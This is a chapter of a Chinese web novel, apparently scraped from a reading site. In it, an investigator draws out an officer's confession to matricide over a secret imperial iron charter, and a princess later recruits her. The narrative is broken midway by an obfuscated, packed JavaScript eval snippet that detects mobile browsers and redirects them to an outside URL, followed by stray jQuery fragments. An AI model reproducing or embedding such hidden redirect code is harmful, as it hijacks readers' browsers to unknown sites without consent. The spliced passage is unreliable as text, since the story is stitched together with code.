33.第 33 章

作品:《我在古代开和离事务所

    “其实崔小姐大可以就此结案了。如今人证物证俱在,我也供认不讳,崔小姐还在顾忌什么呢?我的的确确不是冤枉的,我就是恶逆,我就是十恶不赦。”


    “这与我无关。”崔令仪看着他,轻轻笑了。


    “你也知道,我从没有断错过案,这一次也一样。”


    “崔小姐是从什么时候开始怀疑我的?”杨牧不答反问。


    “你弑母的动机对不上。”崔令仪道,“且据你的属下供述,你对赵王夫妇的事情非常关注,可驸马对此事竟然一点都不知道,还在傻乎乎的听赵王嚼舌根,这不诡异吗?”


    “神威将军愚直,不堪为主。”杨牧道,“这点想必崔小姐已经见识过了。”


    “是。”崔令仪道,“他长着脑袋就是为了显得高。”


    “但你也确实认真辅佐他了。”她又道,“若无你的辅佐,他应当早已死在战场上了,若无你的谋划,他应当也不可能尚公主。”


    “我为他多年筹谋,我又得到了什么?”杨牧自嘲一笑,“他做了神威将军,尚公主,过上锦衣玉食的生活,全家上下鸡犬升天,甚至他那样愚蠢,赵王还要拉拢于他,甚至拿出王妃为饵。”


    “可我呢?”他道,“全家人挤在公主赏赐给我妻子陪嫁的小房子里,为了应酬打点家财散尽,至今才不过从六品而已,连被人看见的资格都没有。”


    “杨将军,这个世道有时候就是这样的。”崔令仪道,“我相信在这些你想做的事情之中,一定包括保护你的母亲。”


    “如果你不愿意说的话,或许我们也可以从别的地方聊起。”


    “比如聊聊那个铁盒子。”


    杨牧望着她,半晌笑了:“崔小姐连那个都知道了。只是可惜,那不是什么铁盒子。”


    “那是关一个皇室秘辛,知道的人最终都要死。崔小姐还要知道吗?”


    “那不是什么铁盒子,崔小姐。”他道,“那是陛下赐给安阳公主的保命符,那是一个丹书铁券。”


    “大约三十年前吧,安阳公主的未婚夫死在边疆,她借酒浇愁,镇日里喝的酩汀大醉,偶有一日喝多了,回过神来宫门已经落了锁。后来陛下来了,陛下趁机占有了她。”


    “不想偶然一次,安阳公主竟然有孕,在陛下的授意下,她不得不把孩子生下来。但她也为自己争取到了一点利益,也就是这个。”


    “丹书铁券之中仔细记载了赵王殿下是陛下之子,危急关头可堪大用。”


    “当时赵王殿下与安阳公主决裂,从她手中讨出了那丹书铁券,并交给李嬷嬷保管。李嬷嬷那时已经打算给赵王殿下顶罪,知道自己此次一定活不成了,因此在临死之际把这个交给了我母亲。”


    “我母亲向来没什么主意,又不识字,就把它交给了我。”


    “可是这件事情竟然被神威将军知道了。我想应当是赵王在李嬷嬷的遗物中没有找到丹书铁券,令人排查李嬷嬷生前最后曾见过的人,最终发现了我母亲。”


    “神威将军要求我交出此丹书铁券,兹事体大,他勒令我杀死所有的知情者,包括我的母亲,成则允诺我加官敬爵,做新朝的肱骨,否则就会将我全家屠戮殆尽。我身为陛下臣子,不能为此助纣为虐,自然不从。”


    “可这时候赵王找到我母亲,我母亲为他所诱,答应将丹书铁券交还。我为此事与母亲争执,母亲却固执己见,还将丹书铁券藏了起来,连我也没有办法。可赵王绝非明主,若任由赵王起事,好不容易安稳的时局又当血流成河。”


    “我没办法,只能选择杀死她。”


    崔令仪问:“那你为何要把杀死你母亲的罪过推给你的妻子?”


    “甘云是长公主的人。”他道。


    “有一日我跟母亲聊起丹书铁券时,她正在门外偷听。所此事被长公主知道了,那必将卷起一阵腥风血雨。”


    “所以为了你的前途,为了朝局的安稳,你选择牺牲你的母亲和妻子。”崔令仪望着他,轻轻勾了下唇角。


    “好道貌岸然的理由,你也不必再说了。赵王的身世长公主早就知道了,我们很多都早就知道了。他要回丹书铁券,无非为了证明自己继位的正统性,但即便没有丹书铁券,难道他就没有别的法子?”


    “杨将军,我奉劝你一句,功名利禄,富贵名声,幻光罢了。没有一个人能带着自己的功名官位去死。”


    “你好自为之吧。”


    人伦崩坏,皆因党争。


    杨牧的弑母行为,既是被权力集团PUA的结果,也是他主动将自身工具化的必然。当“士为知己者死”升级为“士为天命者弑亲”,人伦底线便被“家国大义”彻底消解。


    接下来,崔令仪面临的还有另一件事。


    丹书铁券在哪里。


    她将此事跟谢珩细细说了,又请甘云去长公主府上将此间之事回禀给长公主。甘云听闻了案件的全部经过以后脸色苍白,几乎晕厥过去。但长公主看重的女官实在名不虚传,她忍泪向崔令仪行礼:“多谢崔小姐为我洗脱嫌疑。崔小姐要我回禀长公主之事,我必定据实以告,一字不落。”


    崔令仪颔首,眼见衙役为她牵马来,她飞身上马,显然弓马娴熟,是一位女中豪杰。


    崔令仪转头望向谢珩:“丹书铁券一定还在杨宅。”


    “我也这样想。”谢珩道,“杨王氏要藏东西,必然是在她最放心,觉得最安全的地方。”


    再审慈剑屏,他指出杨王氏与亡夫感情深厚,日日摩挲他的灵位。尤其最近这段时间,他问杨王氏为何如此,她只推说即将改嫁,心下不安。


    那灵位就被摆在杨王氏卧房之中。谢珩面对灵位当中斩下,果然发现杨王氏将丹书铁券藏于亡夫灵位其中,外以《华严经》经卷包裹。丹书铁券之上刻有龙纹,内垫黄绫,中央嵌“受命于天”玉符。匣内血诏以陛下指尖血混朱砂写成,一旦曝光,确实能够为赵王继承大统增加合理性,甚至能够引发宫廷政变。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498778|170073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>只是可惜杨牧自诩贤孙孝子,却连自己父亲的灵位有异都不知道。


    夜幕降临后甘云回来,她望着崔令仪道:“崔小姐,长公主火速召见,请你速速随我来。”


    崔令仪跨上她的马背,白马嘶啸之间,她身离杨宅已经越来越远。暑热弥散,白马飞驰为她增添一缕凉意,月至东山,清辉散满人间。


    她疾步走进长公主的书房之内,长公主却不在那儿。


    长公主半倚在美人靠上,面靥尚未擦去,双眼闭着,长眉直飞入鬓,眼尾之上各飞着一抹红云。


    她道:“我桌上有封折子,你看一看。”


    崔令仪依言起身去拿,一目十行地将其看完,问道:“殿下要参赵王与驸马谋反?”


    “明日一早,这封折子就会出现在父皇的案头。”她道。


    崔令仪怔怔,旋即笑道:“殿下竟然这样快。”


    “你刚刚不是才为我搜出了证据么?”长公主徐徐睁开眼,双目清明,没有半点困意,“既有人证,又有物证,这样的机会可不多见。”


    “殿下真的舍得?”崔令仪试探地问。


    长公主道:“事到如今还有什么舍不得?如今我也算明白了,喜欢男人,不过把他当个玩意儿罢了,若是给他钱给他权,他便不是他了。”


    崔令仪笑道:“殿下英明。”


    “白日里实在没有时间,眼下月色正好,正适合聊聊我们的事。”长公主道,“令仪,你觉得我弟弟会是明主么?”


    “太子殿下表面软弱,实际却颇有谋略。”崔令仪含蓄道,“也许太子殿下登基后会是守成之君。”


    长公主粲然一笑:“你这是什么意思?”


    “臣女的意思是,”崔令仪仔细斟酌着字词来回禀她,“太子殿下善于示弱,这本是好事,但能示弱的人势必要杀伐果决才能使人信服。太子殿下则示弱太过。就像在赏荷宴上,驸马出言不逊,他本该追究,却不置一词。臣女想,太子殿下应当是乐于见到那时的场面,所以才不为殿下解围,却没想到驸马冒犯殿下,即是冒犯皇家威严,便是在冒犯太子殿下。可他那时不能立起来捍卫天家声誉,治罪驸马,而是任由驸马将天家威严踩在脚下,可见他本身只拘泥一些口舌之快,而看不到天长日远。”


    “哦?”长公主饶有兴致地抬起头,“那依你来看,本宫呢?”


    崔令仪答道:“殿下少年时曾为江山社稷耗尽心血,后又能为平息朝野动荡下嫁事事平庸的驸马,可见殿下能忍一时之气,能图百年之业。”


    “好一句忍一时之气,能图百年之业。”长公主望着崔令仪赞道,“好一个崔大小姐。”


    “杨牧之事,我早有所察觉。甘云与他同处一室,杨牧如何能瞒得住她。”长公主道,“只是不曾想杨牧竟然真的为之所诱,犯下恶逆之罪。竟还想栽赃给本宫的人。”


    “崔令仪,你是个难得的人才,本宫麾下正缺你这样的人,天下司法,也正缺你这样的人。”